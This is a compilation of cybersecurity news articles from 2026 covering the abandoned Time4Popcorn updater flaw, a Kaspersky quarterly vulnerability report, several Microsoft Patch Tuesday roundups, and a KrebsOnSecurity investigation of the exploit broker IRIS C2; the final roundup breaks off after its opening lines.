You may have forgotten about Popcorn Time. Unfortunately, its updater didn’t forget about your device.
Security researchers have intervened to disable an abandoned update mechanism in Time4Popcorn, a version of the once-popular streaming app. If left running in the background, the updater could have allowed attackers to take control of Windows and Mac computers, even if their owners hadn’t opened the app in years.
Eye Security estimates that the vulnerable updater was present on millions of devices worldwide, including 2.5–3 million Windows computers and around 250,000–350,000 Macs.
Popcorn Time made watching movies and TV shows through BitTorrent look more like browsing Netflix. Rather than making users find torrent files and open them in a separate client, it wrapped the process in a familiar streaming-style interface.
Amid concerns about copyright infringement and its possible consequences, the original developers abandoned it shortly after its launch in 2014. But because its source code was publicly available, other developers could pick it up and create their own versions, known as forks.
One of those was Time4Popcorn, which was also distributed under the name “Popcorn Time.” That shared branding matters because people may have installed the affected software without ever seeing the Time4Popcorn name.
The problem at hand
Time4Popcorn was eventually abandoned too. But its update infrastructure was left behind, and at some point the domains associated with the software became available for others to register.
In other words, the people maintaining the software had gone away. The software’s ability to accept instructions had not. Time4Popcorn’s updater used unencrypted HTTP connections and accepted executable updates without checking digital signatures to verify their authenticity. So, someone who controlled an update domain or was able to tamper with the unencrypted traffic could supply their own program instead.
That combination created a remote code execution vulnerability, tracked as CVE-2026-30612, which could let an attacker run malicious software on a device. An attacker wouldn’t need to persuade someone to watch a movie or click a suspicious attachment. The forgotten updater could do the work for them.
Although Android was affected too, users had an extra layer of protection. Its updater checked for updates when the application was opened, but installing an attacker-supplied APK required the user to approve the installation. It was not the same silent, background takeover route researchers found on Windows and macOS.
What the researchers did
Eye Security registered an abandoned update domain and used the vulnerable mechanism to distribute an update that disabled the updater itself. On Windows, it stopped and disabled the service; on macOS, it prevented the update process from starting. The researchers say their intervention did not delete users’ files or collect host data.
By March 2026, Eye Security reported more than two million downloads of its updater-disabling fix, and update requests to its domains had fallen by 98%. Later that month, it transferred the 15 domains it controlled to the nonprofit Shadowserver Foundation.
Researchers could not remotely disable the Android updater in the same way. And the desktop application still contained other weaknesses, including an obsolete Chrome engine dating from 2014 and disabled sandbox protections, which normally help contain malicious code.
What users should do
If you used Popcorn Time years ago, check the devices on which you installed it. Don’t assume that no longer using an application means its background components have stopped running.
Check your list of installed applications for Popcorn Time or Time4Popcorn. Pay particular attention to older Windows PCs, Macs, and Android devices where you may have forgotten about installing it. The affected fork was distributed under both names.
Remove the old application. There is no vendor security update for the abandoned Time4Popcorn software. Disabling the updater addresses one vulnerability, not the application’s other security weaknesses.
On Windows and macOS, check that the background updater is no longer running. Eye Security identifies the Windows component as Updater.exe, normally inside a Popcorn Time folder under Program Files or Program Files (x86), running through a service called Update Service. On macOS, the component is /Library/PrivilegedHelperTools/PT.updd, with a launch daemon at /Library/LaunchDaemons/PT.updd.plist. Its advisory provides instructions for disabling these components if needed.
On Android, uninstall the affected app rather than accepting an update prompt from it.The updater is part of the main application and cannot easily be disabled separately.
Use an up-to-date, real-time anti-malware solution to detect and block any attempts to install malware on your devices.
As we saw recently, cybercriminals can use software updates to distribute malware. Remove abandoned apps and check for any background updaters they leave behind.
From reporting threats to removing them.
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.
Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.
Statistics on registered vulnerabilities
This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.
We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.
Exploitation statistics
This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.
Windows and Linux vulnerability exploitation
Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:
BlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.
RedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as “cloud” can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.
YellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.
GreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.
RoguePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.
UnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.
Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.
Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:
CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive
CVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.
Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.
All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:
CVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments
CVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root
CVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family
CVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification
CVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism
CVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel’s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root
The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:
CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests
Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.
Most common published exploits
The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.
Distribution of published exploits by platform, Q1 2026 (download)
Distribution of published exploits by platform, Q2 2026 (download)
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)
In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.
C2 frameworks
In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)
Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
CVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps
CVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user
These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.
LLM/AI tool vulnerabilities
This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.
As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.
The chart below covers registered vulnerabilities in AI tools for 2025–2026.
Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)
As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:
TOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025–2026
Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.
Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:
Inadequate access control over critical system objects
Improper implementation of authentication and authorization mechanisms
Injections
It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.
Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.
TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 (download)
Notable vulnerabilities
This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.
CVE-2026-25253: a gatewayUrl vulnerability in OpenClaw
The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.
The attack algorithm exploiting this vulnerability works as follows:
The application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.
There is no validation before use.
The client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.
While connected, the application sends credentials (an access token) to the specified address.
If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:
User session compromise
Execution of operations on the user’s behalf
Modification of the AI agent configuration
Unauthorized access to tools and resources connected to the agent
Under certain OpenClaw configurations, further compromise of the host running the agent
It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.
CVE-2026-41948: a path traversal vulnerability in the Dify AI platform
The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.
Depending on the Dify configuration, the consequences can include:
Unauthorized access to internal service interfaces
Breach of isolation between workspaces
Exposure of internal service information
Conditions favorable to further attacks when combined with other vulnerabilities
The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.
CVE-2026-45386: an improper access control vulnerability in Open WebUI
In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.
The vulnerability’s mechanism works as follows:
The user initiates an action that changes the state of an object.
The application treats this action as a regular read request.
Only channel view permission is checked.
The application performs a write without verifying the required user authorization.
This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.
Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.
Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.
CVE-2026-45501: a vulnerability in Microsoft Exchange
The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.
Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.
It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.
Conclusion and advice
Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.
Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.
Microsoft today released updates to remedy at least 398 security vulnerabilities in its Windows operating systems and supported software, including one weakness that is already being actively exploited and two others that were publicly detailed prior to today.
Image: Shutterstock, Mallika Home Studio.
August’s overstuffed bundle of patch joy from Microsoft did not eclipse its recording breaking release of more than 570 security updates last month, but it is double June’s then-record batch of nearly 200 fixes. Microsoft has attributed the recent patch deluge to vulnerability discoveries aided by artificial intelligence, and experts roundly agree that Windows users should get used to the idea of Patch Tuesdays (the second Tuesday of each month) covering hundreds of newly discovered security flaws.
Fully 42 of the 398 flaws that Microsoft patched today earned Redmond’s most-dire “critical” rating, meaning they are severe enough that malware or malcontents could exploit them to gain remote control over a Windows computer with little to no help from the user.
The sole known “zero day” bug fixed by Microsoft this month is CVE-2026-68820, a privilege escalation weakness in a core Windows component called afd.sys, which the security firm Automox describes as “the driver behind Windows socket connections on effectively every endpoint.”
“This isn’t a front-door bug,” Automox’s Landon Mileswrote in a Patch Tuesday blog post. “It’s step two in a chain: an attacker phishes their way into a low-privilege foothold, then uses the driver flaw to take the box. The 7.0 score reflects the high attack complexity, because race conditions are fiddly. The exploit has to be thrown over and over until the timing lands. Someone is clearly landing it anyway.”
CVE-2026-62832 is another privilege escalation flaw that Microsoft has labeled likely to be exploited; this flaw, in the Windows User Profile Service, may be related to the recent “LegacyHive” public disclosure from the prolific bug hunter known as Nightmare Eclipse. The other publicly disclosed flaw is CVE-2026-72971, a low-impact local tampering vulnerability that Microsoft reckons is unlikely to be exploited.
Other major software makers are likewise increasing their patch volumes and cadence thanks to AI, including Adobe which last month moved to twice-monthly security bulletins published on the 2nd and 4th Tuesday of each month. Cisco, Google, Mozilla and Oracle also are shipping updates far more frequently and abundantly.
By all accounts, AI is quite good at finding security holes in software. But for now at least, patching the resulting bugpocalypse remains a heavily human-centric endeavor, and the jury is still out on whether AI technologies will turn out to be as good at fixing vulnerabilities as they are at finding and exploiting them. This is an important question when one considers that these same AI technologies also are suggesting fixes for the vulnerabilities they find.
Researchers at 1Password recently examined what happens when different large language models (LLMs) generate vulnerability patches for newly disclosed, complex vulnerabilities. They found the LLMs produced patches that failed to fix the flaw or added a new weakness in the process (or both) more than half the time.
Ed Skoudis, president of the SANS Technology Institute, said his team has seen excellent results using AI to generate patches, provided there are humans in the loop to test the suggested fixes and push for iterative improvements.
“AI is rapidly becoming astonishingly good at finding vulnerabilities, but this research shows that fixing them is a very different problem,” Skoudis wrote in a SANS newsletter today. “Don’t expect one-shot AI patching to work reliably. Instead, iterate, test, challenge, improve, and verify. AI can be an extraordinary patching partner, but today it still needs a skilled human at the keyboard.”
Tyler Reguly at Fortra says while reports of Microsoft patching hundreds of vulnerabilities in one go have prompted some organizations to try to patch faster, it’s important to bear in mind that only one of the almost 400 bugs addressed today is known to be actively exploited. Reguly suggested security leaders check in with their teams to see how they’re handling the increasing workloads, which often involve testing fixes before deploying them in production environments.
“If you’re a chief security officer talk to your teams about how they are shifting or modifying their workflows to better accommodate the patching shift that we’re seeing and support them across various organizational units by enabling the changes they want to see made,” Reguly said. “There’s no need to rush these updates, no matter what various vendors and organizations try to tell you. You need to make sure that you are rolling out safe updates that will not negatively impact your systems.”
Speaking of the humans behind the keyboards, don’t neglect to backup your system and/or data before applying this month’s monster patch load. The day after each month’s Patch Tuesday is sometimes derisively referred to as Reboot Wednesday, but it generally doesn’t hurt to wait a few days to apply these huge update bundles because it sometimes takes a couple of days for the occasional misbehaving patch to get ironed out properly by Microsoft.
For a clickable, per-patch breakdown by severity and urgency, check out this roundup from the SANS Internet Storm Center.
A cybersecurity startup dangling millions of dollars to acquire zero-day security vulnerabilities in popular software is run by a pair of far-right conspiracy theorists and convicted felons whose most recent ventures included fake intelligence companies and a now-defunct AI-based lobbying platform they operated under assumed names.
The X/Twitter account IRIS C2 (@C2IRIS) has gained more than 4,000 followers since its creation in January 2025, posting frequently about security vulnerabilities, AI and software exploits. IRIS C2 says it is a company in McLean, Va. that sells offensive cybersecurity capabilities.
The IRIS C2 website dangles the possibility of million-dollar payouts for exploits to attract talent.
“Our business model is this,” reads a pinned post on top of the IRIS C2 account on X. “Attract the very best vulnerability researchers and exploit developers in the world to join our company. This mostly revolves around junior engineers with raw talent/extremely high IQ. We don’t care if they have a college degree/industry experience.”
The website linked in that profile — irisc2[.]com — says the company is hiring for a number of open positions, and a recent post on its LinkedIn page enthuses about an overwhelming number of applications from potential employees. The website claims IRIS C2 is in the business of acquiring “zero-day exploits, individual primitives, partial chains, and full capabilities across all major platforms. Payouts range from $10,000 to $7 million depending on target, reliability, and operational value.”
The government contracting portal g2exchange.comreports that irisc2[.]com is operated by a business based in Virginia called Calvexa Group LLC. The “contact” link on the website for Calvexa Group — calvexagroup[.]com — forwards visitors to irisc2[.]com. G2Exchange shows that while Calvexa Group LLC is registered as a federal contractor, it does not appear to be working on any direct government contracts.
A search on the Arlington, Va. address listed in the incorporation records for Calvexa Group LLC finds the property is occupied by Jack Burkman, the 60-year-old founder and managing partner of the lobbying firm Burkman & Associates. When approached with questions about IRIS C2, Burkman referred further inquiries to his longtime associate, 28-year-old Jacob Wohl.
Jack Burkman (left) and Jacob Wohl, at a press conference in August 2020. Image: Wikipedia.
Burkman and Wohl have a storied history of creating fake intelligence companies and using them to spread false claims about and frame public figures, including fabricated sexual assault claims against then FBI director Robert Mueller, and Pete Buttigieg, then mayor of South Bend, Indiana and a Democratic candidate for the presidency. In 2019, Burkman and Wohl held press conferences falsely alleging extramarital affairs by Sen. Elizabeth Warren (D-Mass.) and then-2020 presidential candidate Kamala Harris.
In the wake of the 2020 presidential election, Wohl and Burkman were prosecuted by multiple U.S. states for making thousands of robocalls to residents of battleground states and disseminating false claims about mail-in ballots. They were indicted in Cleveland on 15 felony counts of orchestrating a robocall scheme aimed at suppressing the black vote in Detroit, and were sentenced in late 2025 to probation after their appeals to dismiss the charges were rejected.
In 2022, Wohl and Burkman both pleaded guilty to a single felony charge of telecommunications fraud in Ohio, and sentenced to a fine, probation, and community service. In March 2023, a judge in a New York civil case ruled that Wohl and Burkman had violated federal and state civil rights laws, and the two agreed to pay a $1 million settlement.
In June 2023, the Federal Communications Commission (FCC) imposed a $5.1 million fine against Wohl and Burkman for their robocall campaigns, at the time the largest fine ever sought by the FCC under the Telephone Consumer Protection Act.
Jacob “Jay” Wohl’s GitHub account.
By the age of 17, Wohl had started multiple investment firms, and cultivated the nickname “Wohl of Wall Street” after appearing on Fox News in 2015 to discuss his new hedge funds. In 2017, the Arizona Corporation Commission charged Wohl and his investment funds with 14 counts of securities fraud, and ordered him to pay $35,000 in restitution. In 2019, Wohl pleaded guilty in California to four felony counts of selling unregistered securities and was sentenced to two years of probation.
The market for previously unknown security vulnerabilities has always been populated by a colorful mix of researchers, academics, charlatans, clout-chasers and people actively involved in cybercrime communities. But the market for selling offensive security services to the U.S. government tends to be far more circumspect. Plenty of government contractors recruit vulnerability researchers and pay for the exclusive rights to novel software exploits, yet none of them do so quite as brazenly and openly as IRIS C2.
Recent posts from the Twitter/X account IRISC2 (@c2iris).
Indeed, KrebsOnSecurity was unaware of IRIS C2 until last month, when an attendee at a regional cybersecurity conference shared that Wohl and Calvexa Group were pestering people at the conference about selling their vulnerability research.
In an interview with KrebsOnSecurity, Wohl said Mr. Burkman was not involved in the day-to-day operations of IRIS C2. Wohl shared that IRIS C2 originally began as a penetration testing company, but shifted its focus recently to selling phone-hacking services to the government. Several times throughout the interview, Mr. Wohl mentioned working on federal government contracts, but when pressed for specifics said he was not at liberty to speak publicly about them.
Mr. Wohl said he does not have any formal education or training in computer science or information security, and that most of his knowledge on the matter is self-taught.
“I know more about tech than anyone,” Wohl bragged. “My background has always been extremely technical, and I’ve always been deeply into tech. People know me as someone who is able to create spectacularly exquisite capabilities that would make your head spin.”
Wohl said security researchers bring the company unique vulnerability findings “on a regular basis,” but that in many cases those findings are preliminary and not fully fleshed-out.
“Let’s say someone finds a flaw in a media decoder on a phone,” Wohl said. “A lot of times what we receive is an exploit primitive, where the idea is there but the [execution] needs work. You need that exploit to be stable and reliable, and that’s what we do.”
Wohl claims IRIS C2 has approximately 40 employees, although he said none of them are allowed to list their employment on LinkedIn for operational security reasons. In May, the author of the IRIS C2 account on X said that his girlfriend had no idea what he did for a living. But if IRIS C2 has any other employees, they may be similarly unaware of Mr. Wohl’s history of outright fabrications — or even his real name.
In September 2024, Politicoreported that Burkman and Wohl were bragging about big companies supposedly buying services from their now-defunct company LobbyMatic, which claimed to use artificial intelligence to assist in political lobbying efforts. However, Politico found the pair were running the company using pseudonyms, with Wohl reportedly adopting the name “Jay Klein” and Burkman using the moniker “Bill Sanders.” Politico reported that two of the former LobbyMatic employees resigned after learning of their true identities, while other employees only learned after they had left the company.
Update, July 9, 9:44 a.m. ET: Several readers pointed our attention to a March 31 publication from journalist Molly White, which reported that Burkman and Wohl were paid a $300,000 retainer by a Canadian cryptocurrency fraudster wanted by the United States and several other countries for allegedly stealing $65 million from the crypto platforms KyberSwap and Indexed Finance. According to that report, the two were hired to pursue a “presidential pardon to avert a miscarriage of justice” on behalf of the accused hacker, who has not yet been convicted.
Microsoft Corp. today pushed security updates to fix at least 77 vulnerabilities in its Windows operating systems and other software. There are no pressing “zero-day” flaws this month (compared to February’s five zero-day treat), but as usual some patches may deserve more rapid attention from organizations using Windows. Here are a few highlights from this month’s Patch Tuesday.
Image: Shutterstock, @nwz.
Two of the bugs Microsoft patched today were publicly disclosed previously. CVE-2026-21262 is a weakness that allows an attacker to elevate their privileges on SQL Server 2016 and later editions.
“This isn’t just any elevation of privilege vulnerability, either; the advisory notes that an authorized attacker can elevate privileges to sysadmin over a network,” Rapid7’s Adam Barnett said. “The CVSS v3 base score of 8.8 is just below the threshold for critical severity, since low-level privileges are required. It would be a courageous defender who shrugged and deferred the patches for this one.”
The other publicly disclosed flaw is CVE-2026-26127, a vulnerability in applications running on .NET. Barnett said the immediate impact of exploitation is likely limited to denial of service by triggering a crash, with the potential for other types of attacks during a service reboot.
It would hardly be a proper Patch Tuesday without at least one critical Microsoft Office exploit, and this month doesn’t disappoint. CVE-2026-26113 and CVE-2026-26110 are both remote code execution flaws that can be triggered just by viewing a booby-trapped message in the Preview Pane.
Satnam Narang at Tenable notes that just over half (55%) of all Patch Tuesday CVEs this month are privilege escalation bugs, and of those, a half dozen were rated “exploitation more likely” — across Windows Graphics Component, Windows Accessibility Infrastructure, Windows Kernel, Windows SMB Server and Winlogon. These include:
–CVE-2026-24291: Incorrect permission assignments within the Windows Accessibility Infrastructure to reach SYSTEM (CVSS 7.8)
–CVE-2026-24294: Improper authentication in the core SMB component (CVSS 7.8)
–CVE-2026-24289: High-severity memory corruption and race condition flaw (CVSS 7.8)
–CVE-2026-25187: Winlogon process weakness discovered by Google Project Zero (CVSS 7.8).
Ben McCarthy, lead cyber security engineer at Immersive, called attention to CVE-2026-21536, a critical remote code execution bug in a component called the Microsoft Devices Pricing Program. Microsoft has already resolved the issue on their end, and fixing it requires no action on the part of Windows users. But McCarthy says it’s notable as one of the first vulnerabilities identified by an AI agent and officially recognized with a CVE attributed to the Windows operating system. It was discovered by XBOW, a fully autonomous AI penetration testing agent.
XBOW has consistently ranked at or near the top of the Hacker One bug bounty leaderboard for the past year. McCarthy said CVE-2026-21536 demonstrates how AI agents can identify critical 9.8-rated vulnerabilities without access to source code.
“Although Microsoft has already patched and mitigated the vulnerability, it highlights a shift toward AI-driven discovery of complex vulnerabilities at increasing speed,” McCarthy said. “This development suggests AI-assisted vulnerability research will play a growing role in the security landscape.”
Microsoft earlier provided patches to address nine browser vulnerabilities, which are not included in the Patch Tuesday count above. In addition, Microsoft issued a crucial out-of-band (emergency) update on March 2 for Windows Server 2022 to address a certificate renewal issue with passwordless authentication technology Windows Hello for Business.
Separately, Adobe shipped updates to fix 80 vulnerabilities — some of them critical in severity — in a variety of products, including Acrobat and Adobe Commerce. Mozilla Firefox v. 148.0.2 resolves three high severity CVEs.
For a complete breakdown of all the patches Microsoft released today, check out the SANS Internet Storm Center’s Patch Tuesday post. Windows enterprise admins who wish to stay abreast of any news about problematic updates, AskWoody.com is always worth a visit. Please feel free to drop a comment below if you experience any issues apply this month’s patches.
Microsoft today issued patches to plug at least 113 security holes in its various Windows operating systems and supported software. Eight of the vulnerabilities earned Microsoft’s most-dire “critical” rating, and the company warns that attackers are already exploiting one of the bugs fixed today.
